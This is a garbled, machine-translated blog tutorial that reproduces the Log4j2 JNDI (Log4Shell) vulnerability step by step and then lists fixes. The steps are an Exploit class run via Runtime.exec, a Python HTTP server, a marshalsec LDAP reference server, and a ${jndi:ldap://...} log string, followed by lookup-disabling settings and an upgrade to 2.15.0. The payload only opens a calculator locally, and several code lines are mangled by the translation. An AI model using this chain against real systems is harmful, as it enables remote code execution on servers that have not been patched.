Lo4j2 vulnerability recurrence process and solution
background
Recently, ali Cloud team discovered and reported a vulnerability in Log4j2.
Because log4j2 is a broadly dependent underlying library, the impact is large. How bad? How bad? Catastrophic, let’s just say.
Repetition loopholes
Environment introduction
- Operating system: MacOS Catalina
- JDK version: 11.0.9.1
- Log4j2 version: 2.13.3 (indirectly dependent using Springboot 2.3.2.RELEASE)
The principle is introduced
A picture of “Xiaolin Coding” quoted from our official account:
Log4j2 log4j2 log4j2 log4j2
logger.info("this is {}"."log4j2 demo");
Copy the code
But if your log starts with “${“, the end of the”} “will be parsed out and processed separately.
And if “${}” the content of the parcel is like this: the jndi: ldap: / / 127.0.0.1: # 1389 / exploits, could trigger the vulnerability.
The specific process of reproduction is as follows:
-
Write a piece of Java code that you want to execute remotely, and compile it into a class file
-
Start HTTP Server and ensure that the class file can be accessed through HTTP Server.
-
Start the LDAP Server and register the class file on the Http Server.
-
Start the Java application, using log4j2 writing log, log includes such as ${jndi: ldap: / / 127.0.0.1: # 1389 / exploits} such content.
-
Observe the result to see if the program logic in the class file is executed.
repetition
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.3.2. RELEASE</version>
<relativePath/>
</parent>.<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
Copy the code
As you can see, I refer to log4j2 indirectly via spring-boot-starter-log4j2. The specific package versions introduced look like this:
Let’s start by writing a program that we want to execute:
public class Exploit {
public Exploit(a) {
try {
System.out.println("Execute vulnerability code");
String[] commands = {"open"."/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
System.out.println("Complete execution of vulnerability code");
} catch(Exception e) { e.printStackTrace(); }}public static void main(String[] args) {
Exploit exploit = newExploit(); }}Copy the code
This program opens the calculator program on my computer.
Note: this program does not write package name, I waste a lot of time here, writing package name may cause later execution error.
Then we’ll find an empty directory, copy the Java file, and compile it:
javac Exploit.java
Copy the code
Then I execute in the current directory:
python -m SimpleHTTPServer 8800
Copy the code
The goal is to start an HTTP Server. Of course, you can use Nginx or A Java program to do this, as long as it can act as an HTTP Server.
After launching, you can verify this in your browser:
Let’s start an LDAP Server locally.
Github.com/mbechler/ma… Download the code from here and perform the package compilation:
mvn clean package -DskipTests
Copy the code
After packing, go to the target directory and execute:
Java - cp marshalsec - 0.0.3 - the SNAPSHOT - all. Jar marshalsec. Jndi. LDAPRefServer "http://127.0.0.1:8800/#Exploit"Copy the code
The purpose of the above command is to start LDAP Server and register our application with LDAP Server. Specifically, a URL with an Http Server address (the Http Server launched in Python above) is registered with the LDAP Server.
LDAP monitors port 1389 after normal startup
Finally, we write logging program:
private static final Logger logger = LogManager.getLogger(Log4jDemo.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase"."true");
logger.error("${jndi: ldap: / / 127.0.0.1: # 1389 / exploits}");
try {
Thread.sleep(1000);
} catch (Exception e) {
}
}
Copy the code
Effect after execution:
And as you can see, my calculator is turned on. If statements and code logic can be executed, then operations like RM -rf and deleting libraries can also be performed!
There is one line of code to note in the above program:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase"."true");
Copy the code
If set to false or comment out this line of code, the calculator will not be activated and the attack will not be executed. The reason is:
Java eventually fixed this utilization point by adding restrictions on the loading of the LDAP Reference remote factory class, In Oracle JDK 11.0.1, 8 u191, 7 after u201, 6 u211 com. Sun. Jndi. Ldap. Object. TrustURLCodebase properties of the default value is adjusted to false, A vulnerability number CVE-2018-3149 has also been assigned
Does that mean that older JDK versions aren’t vulnerable?
Be not, still have method attack, do not have fluke psychology, specific can refer to: paper.seebug.org/942/#4-jdk-…
The solution
To change the configuration
A temporary remedy is a configuration change such as:
- Modify the JVM parameter – Dlog4j2. FormatMsgNoLookups = true
- Modify the configuration log4j2. FormatMsgNoLookups = True
- Set the system environment variable FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS to true
The principle is the same: disable log4j2 lookup.
Upgraded version
At present, the official version 2.15.0 has fixed this problem and can be upgraded. After the author modified the version number using the above program, it was found that the vulnerability could not be repeated
<! Log4j dependency version can be changed here.
<log4j2.version>2.15.0</log4j2.version>
Copy the code
You can also manually compile the log4j2 source code, upload it to your Maven server, and then modify the public dependencies update.
Note that JDK 1.9 or higher is required to compile the log4j2 source code because it has such a thing
reference
- Paper.seebug.org/942/#4-jdk-…
- Mp.weixin.qq.com/s/FouhOPacC…